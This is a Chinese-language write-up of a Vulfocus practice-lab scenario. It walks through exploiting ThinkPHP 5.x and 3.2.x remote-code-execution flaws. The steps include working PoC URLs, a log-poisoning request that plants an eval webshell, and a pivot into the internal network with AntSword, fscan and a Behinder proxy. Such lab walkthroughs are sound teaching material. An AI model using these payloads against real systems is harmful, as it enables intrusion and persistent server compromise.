Vulfocus场景之实习线上面试环境

场景信息

image-20220118152227134

外网

0x01

访问后看到页面显示如下内容

image-20220118152556281

看这像是一句话木马,直接照着执行即可拿到第一个flag

1
index.php?cmd=ls /tmp
image-20220118152732946

成功拿到第一个flag

0x02

第二个打开是一个欢迎语句

image-20220118161059186

随手输了个 /admin 报错了,显示是 ThinkPHP V5.1.30 LTS

image-20220118161215143

这个版本的 ThinkPHP是有 RCE 的

详解:thinkphp 5.x全版本任意代码执行分析全记录 - 先知社区

poc:

1
/?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20220118163604138

读取flag

poc:

1
/?s=/index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

image-20220118163541308

成功拿到第二个flag

0x03

第三个页面打开一片空白,随手加个 /amdin

image-20220118163812583

也是 ThinkPHP 的框架,ThinkPHP3.2.x 也有个RCE漏洞

详解:ThinkPHP3.2.x RCE漏洞

工具扫一下,有开启了 debug 模式,日志文件也存在

image-20220118181723847 image-20220118181838299

条件满足,直接打,先写入 phpinfo 看看

1
/index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>

构造poc:

1
/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_01_18.log
image-20220118182131096

测试成功,写入一句话木马 getshell

这里得用burp去发包,数据包如下,不然会有编码的问题

1
2
3
4
5
6
7
8
9
GET /index.php?m=Home&c=Index&a=index&test=--><?=@eval($_POST['pwd']);?> HTTP/1.1
Host: 123.58.236.76:59323
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9h2mbf5e9h8895o0v3vvag9uo6
Accept-Encoding: gzip, deflate
Connection: close

访问一句话木马,cat flag

1
2
3
/?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_01_18.log

///密码pwd

image-20220118183519047

成功拿到第三个flag

0x04

至此,外网的三台靶机打完了,剩下内网的一台靶机

内网

用蚁剑连接前面 0x03 的 webshell ,查看地址段,有存在内网

image-20220118193349222vv

传个 fscan 到 /tmp 下 扫一下内网网段

等了一会儿,查看结果

image-20220118193538417

存在5个地址,分别是1-5

用蚁剑的shell传个冰蝎的🐎到网站根目录,直接用冰蝎的 http 代理(这儿是图方便,建议还是老老实实传代理软件上去),把192.168.20.2的内网地址转发到本地的2222端口上(ps:不要问为啥是2的地址,问就是猜的😆)

image-20220118194551919

在浏览器上直接访问 http://127.0.0.1:2222/ 就能访问到内网的业务了

image-20220118194911077

flag就在 /tmp目录下

image-20220118195016077

通关

场景体验不错~~

image-20220118195933556